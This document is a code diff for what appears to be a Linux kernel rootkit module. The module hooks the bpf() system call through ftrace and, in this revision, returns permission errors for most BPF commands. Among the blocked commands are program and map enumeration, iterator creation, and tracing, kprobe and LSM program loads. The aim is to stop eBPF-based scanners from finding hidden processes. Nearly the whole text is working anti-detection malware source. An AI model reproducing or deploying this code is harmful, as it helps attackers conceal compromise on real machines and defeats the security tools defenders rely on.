11/*
2- Initial testing version
2+ Minimal experimental version / test 2
33*/
44
55#include "../include/core.h"
66#include "../ftrace/ftrace_helper.h"
77#include "../include/hidden_pids.h"
88#include "../include/bpf_hook.h"
99
10- #define BPF_PROG_LOAD 5
11- #define BPF_OBJ_PIN 6
12- #define BPF_ITER_CREATE 21
13- #define BPF_LINK_CREATE 28
14-
15- #define BPF_PROG_TYPE_TRACING 26
16-
17- #define MAX_TRACKED 64
18- #define SCAN_WINDOW_JIFFIES (HZ * 30)
19-
20- struct scanner_behavior {
21- pid_t pid ;
22- unsigned long first_seen ;
23- unsigned long last_call ;
24- unsigned int bpf_prog_loads ;
25- unsigned int bpf_iter_attempts ;
26- bool marked_suspicious ;
27- };
28-
29- static struct scanner_behavior scanners [MAX_TRACKED ];
30- static DEFINE_SPINLOCK (scanner_lock );
10+ #define BPF_MAP_CREATE 0
11+ #define BPF_MAP_LOOKUP_ELEM 1
12+ #define BPF_MAP_UPDATE_ELEM 2
13+ #define BPF_PROG_LOAD 5
14+ #define BPF_OBJ_PIN 6
15+ #define BPF_OBJ_GET 7
16+ #define BPF_PROG_ATTACH 8
17+ #define BPF_PROG_DETACH 9
18+ #define BPF_PROG_TEST_RUN 10
19+ #define BPF_PROG_GET_NEXT_ID 11
20+ #define BPF_MAP_GET_NEXT_ID 12
21+ #define BPF_PROG_GET_FD_BY_ID 13
22+ #define BPF_MAP_GET_FD_BY_ID 14
23+ #define BPF_OBJ_GET_INFO_BY_FD 15
24+ #define BPF_PROG_QUERY 16
25+ #define BPF_RAW_TRACEPOINT_OPEN 17
26+ #define BPF_BTF_LOAD 18
27+ #define BPF_BTF_GET_FD_BY_ID 19
28+ #define BPF_TASK_FD_QUERY 20
29+ #define BPF_ITER_CREATE 21
30+ #define BPF_LINK_CREATE 28
31+ #define BPF_LINK_UPDATE 29
32+ #define BPF_LINK_GET_FD_BY_ID 30
33+ #define BPF_LINK_GET_NEXT_ID 31
34+
35+ #define BPF_PROG_TYPE_TRACEPOINT 5
36+ #define BPF_PROG_TYPE_KPROBE 6
37+ #define BPF_PROG_TYPE_TRACING 26
38+ #define BPF_PROG_TYPE_LSM 28
39+ #define BPF_PROG_TYPE_EXT 29
3140
3241static asmlinkage long (* orig_bpf )(const struct pt_regs * );
3342static asmlinkage long (* orig_bpf_ia32 )(const struct pt_regs * );
@@ -48,79 +57,10 @@ notrace static inline bool should_hide_pid_by_int(int pid)
4857 return false;
4958}
5059
51- notrace static int get_or_create_scanner_idx_locked (pid_t pid , unsigned long now )
52- {
53- int i , empty = -1 ;
54-
55- for (i = 0 ; i < MAX_TRACKED ; i ++ ) {
56- if (scanners [i ].pid != 0 &&
57- time_after (now , scanners [i ].last_call + SCAN_WINDOW_JIFFIES )) {
58- memset (& scanners [i ], 0 , sizeof (scanners [i ]));
59- }
60-
61- if (scanners [i ].pid == pid ) {
62- scanners [i ].last_call = now ;
63- return i ;
64- }
65- if (scanners [i ].pid == 0 && empty == -1 )
66- empty = i ;
67- }
68-
69- if (empty >= 0 ) {
70- scanners [empty ].pid = pid ;
71- scanners [empty ].first_seen = now ;
72- scanners [empty ].last_call = now ;
73- scanners [empty ].bpf_prog_loads = 0 ;
74- scanners [empty ].bpf_iter_attempts = 0 ;
75- scanners [empty ].marked_suspicious = false;
76- return empty ;
77- }
78-
79- return -1 ;
80- }
81-
82- notrace static inline bool is_word_char (char c )
83- {
84- return (c >= 'a' && c <= 'z' ) ||
85- (c >= '0' && c <= '9' ) ||
86- (c == '_' );
87- }
88-
89- notrace static bool contains_word (const char * name , size_t name_len ,
90- const char * word , size_t word_len )
91- {
92- size_t i ;
93-
94- if (!name || !word || word_len == 0 || name_len == 0 )
95- return false;
96-
97- if (word_len > name_len )
98- return false;
99-
100- for (i = 0 ; i + word_len <= name_len ; i ++ ) {
101- size_t j ;
102- for (j = 0 ; j < word_len ; j ++ ) {
103- if (name [i + j ] != word [j ])
104- break ;
105- }
106- if (j != word_len )
107- continue ;
108-
109- bool start_ok = (i == 0 ) || !is_word_char (name [i - 1 ]);
110- bool end_ok = (i + word_len >= name_len ) || !is_word_char (name [i + word_len ]);
111-
112- if (start_ok && end_ok )
113- return true;
114- }
115- return false;
116- }
117-
118- notrace static bool is_task_iterator_load (union bpf_attr __user * uattr , unsigned int size )
60+ notrace static bool is_dangerous_prog_type (union bpf_attr __user * uattr , unsigned int size )
11961{
12062 union bpf_attr kattr ;
121- char name [BPF_OBJ_NAME_LEN ];
12263 size_t copy_size ;
123- int i ;
12464
12565 if (!uattr || size == 0 )
12666 return false;
@@ -129,133 +69,66 @@ notrace static bool is_task_iterator_load(union bpf_attr __user *uattr, unsigned
12969 memset (& kattr , 0 , sizeof (kattr ));
13070
13171 if (copy_from_user (& kattr , uattr , copy_size ))
132- return false;
133-
134- if (kattr .prog_type == BPF_PROG_TYPE_TRACING )
13572 return true;
13673
137- memset (name , 0 , sizeof (name ));
138- for (i = 0 ; i < BPF_OBJ_NAME_LEN - 1 && kattr .prog_name [i ]; i ++ ) {
139- char c = kattr .prog_name [i ];
140- if (c >= 'A' && c <= 'Z' )
141- c = c + ('a' - 'A' );
142- name [i ] = c ;
143- }
144-
145- const char * words [] = { "task" , "sched" , "proc" , "iter" , "pid" , "enum" };
146- const size_t nwords = ARRAY_SIZE (words );
147- size_t name_len = strnlen (name , BPF_OBJ_NAME_LEN );
148-
149- if (name_len == 0 )
150- return false;
151-
152- for (i = 0 ; i < nwords ; i ++ ) {
153- const char * w = words [i ];
154- size_t wlen = strlen (w );
155- if (contains_word (name , name_len , w , wlen ))
74+ switch (kattr .prog_type ) {
75+ case BPF_PROG_TYPE_TRACEPOINT :
76+ case BPF_PROG_TYPE_KPROBE :
77+ case BPF_PROG_TYPE_TRACING :
78+ case BPF_PROG_TYPE_LSM :
79+ case BPF_PROG_TYPE_EXT :
15680 return true;
81+ default :
82+ return false;
15783 }
158-
159- return false;
160- }
161-
162- notrace static bool check_proc_enumeration_pattern (void )
163- {
164- struct files_struct * files ;
165- struct fdtable * fdt ;
166- struct file * file ;
167- int i , proc_fds = 0 ;
168-
169- rcu_read_lock ();
170- files = rcu_dereference (current -> files );
171- if (!files ) {
172- rcu_read_unlock ();
173- return false;
174- }
175-
176- fdt = files_fdtable (files );
177- if (!fdt ) {
178- rcu_read_unlock ();
179- return false;
180- }
181-
182- for (i = 0 ; i < min (fdt -> max_fds , 64 ); i ++ ) {
183- file = rcu_dereference (fdt -> fd [i ]);
184- if (!file || !file -> f_path .dentry )
185- continue ;
186-
187- const char * name = file -> f_path .dentry -> d_name .name ;
188- if (!name )
189- continue ;
190-
191- if (strnlen (name , 64 ) < 64 &&
192- (strcmp (name , "proc" ) == 0 || strcmp (name , "bpf" ) == 0 ))
193- proc_fds ++ ;
194- }
195-
196- rcu_read_unlock ();
197- return (proc_fds >= 2 );
19884}
19985
200- notrace static bool analyze_and_should_block (int cmd , union bpf_attr __user * uattr , unsigned int size )
86+ notrace static bool should_block_bpf_cmd (int cmd , union bpf_attr __user * uattr , unsigned int size )
20187{
202- unsigned long flags ;
20388 pid_t pid = current -> tgid ;
204- bool block = false;
205- int idx = -1 ;
206- unsigned long now = jiffies ;
20789
208- if (pid <= 1 || should_hide_pid_by_int ( pid ) )
90+ if (pid <= 1 )
20991 return false;
21092
211- spin_lock_irqsave (& scanner_lock , flags );
212- idx = get_or_create_scanner_idx_locked (pid , now );
213- if (idx < 0 ) {
214- spin_unlock_irqrestore (& scanner_lock , flags );
215- return false;
216- }
93+ if (should_hide_pid_by_int (pid ))
94+ return true;
21795
21896 switch (cmd ) {
21997 case BPF_PROG_LOAD :
220- scanners [idx ].bpf_prog_loads ++ ;
221- if (is_task_iterator_load (uattr , size )) {
222- scanners [idx ].marked_suspicious = true;
223- block = true;
224- }
225- break ;
98+ return is_dangerous_prog_type (uattr , size );
22699
227100 case BPF_ITER_CREATE :
101+ case BPF_PROG_GET_NEXT_ID :
102+ case BPF_MAP_GET_NEXT_ID :
103+ case BPF_LINK_GET_NEXT_ID :
104+ case BPF_TASK_FD_QUERY :
105+ return true;
106+
107+ case BPF_RAW_TRACEPOINT_OPEN :
228108 case BPF_LINK_CREATE :
229- scanners [idx ].bpf_iter_attempts ++ ;
230- scanners [idx ].marked_suspicious = true;
231- block = true;
232- break ;
109+ case BPF_LINK_UPDATE :
110+ return true;
233111
112+ case BPF_PROG_QUERY :
113+ case BPF_OBJ_GET_INFO_BY_FD :
114+ return true;
115+
116+ case BPF_PROG_GET_FD_BY_ID :
117+ case BPF_MAP_GET_FD_BY_ID :
118+ case BPF_BTF_GET_FD_BY_ID :
119+ case BPF_LINK_GET_FD_BY_ID :
120+ return true;
121+
122+ case BPF_MAP_CREATE :
123+ case BPF_MAP_LOOKUP_ELEM :
124+ case BPF_MAP_UPDATE_ELEM :
234125 case BPF_OBJ_PIN :
235- if (scanners [idx ].marked_suspicious )
236- block = true;
237- break ;
238- }
126+ case BPF_OBJ_GET :
127+ return false;
239128
240- if (scanners [idx ].bpf_prog_loads >= 5 || scanners [idx ].bpf_iter_attempts >= 3 )
241- scanners [idx ].marked_suspicious = true;
242-
243- bool was_marked = scanners [idx ].marked_suspicious ;
244- spin_unlock_irqrestore (& scanner_lock , flags );
245-
246- if (!block && check_proc_enumeration_pattern ()) {
247- spin_lock_irqsave (& scanner_lock , flags );
248- if (idx >= 0 && scanners [idx ].pid == pid ) {
249- scanners [idx ].marked_suspicious = true;
250- block = true;
251- }
252- spin_unlock_irqrestore (& scanner_lock , flags );
253- } else {
254- if (!block && was_marked && cmd == BPF_OBJ_PIN )
255- block = true;
129+ default :
130+ return true;
256131 }
257-
258- return block ;
259132}
260133
261134notrace static asmlinkage long hook_bpf (const struct pt_regs * regs )
@@ -271,12 +144,11 @@ notrace static asmlinkage long hook_bpf(const struct pt_regs *regs)
271144 uattr = (union bpf_attr __user * )regs -> si ;
272145 size = (unsigned int )regs -> dx ;
273146
274- if ((cmd == BPF_PROG_LOAD || cmd == BPF_ITER_CREATE ||
275- cmd == BPF_LINK_CREATE || cmd == BPF_OBJ_PIN ) &&
276- size > 0 && size <= sizeof (union bpf_attr )) {
147+ if (size > sizeof (union bpf_attr ))
148+ return - EINVAL ;
277149
278- if (analyze_and_should_block (cmd , uattr , size ))
279- return - EPERM ;
150+ if (should_block_bpf_cmd (cmd , uattr , size )) {
151+ return - EPERM ;
280152 }
281153
282154 return orig_bpf (regs );
@@ -295,12 +167,11 @@ notrace static asmlinkage long hook_bpf_ia32(const struct pt_regs *regs)
295167 uattr = (union bpf_attr __user * )regs -> cx ;
296168 size = (unsigned int )regs -> dx ;
297169
298- if ((cmd == BPF_PROG_LOAD || cmd == BPF_ITER_CREATE ||
299- cmd == BPF_LINK_CREATE || cmd == BPF_OBJ_PIN ) &&
300- size > 0 && size <= sizeof (union bpf_attr )) {
170+ if (size > sizeof (union bpf_attr ))
171+ return - EINVAL ;
301172
302- if (analyze_and_should_block (cmd , uattr , size ))
303- return - EPERM ;
173+ if (should_block_bpf_cmd (cmd , uattr , size )) {
174+ return - EPERM ;
304175 }
305176
306177 return orig_bpf_ia32 (regs );
@@ -313,17 +184,14 @@ static struct ftrace_hook hooks[] = {
313184
314185notrace int bpf_hook_init (void )
315186{
316- memset (scanners , 0 , sizeof (scanners ));
317-
318187 int ret = fh_install_hooks (hooks , ARRAY_SIZE (hooks ));
319188 if (ret != 0 )
320- return 0 ;
189+ return ret ;
321190
322191 return 0 ;
323192}
324193
325194notrace void bpf_hook_exit (void )
326195{
327196 fh_remove_hooks (hooks , ARRAY_SIZE (hooks ));
328- memset (scanners , 0 , sizeof (scanners ));
329197}
0 commit comments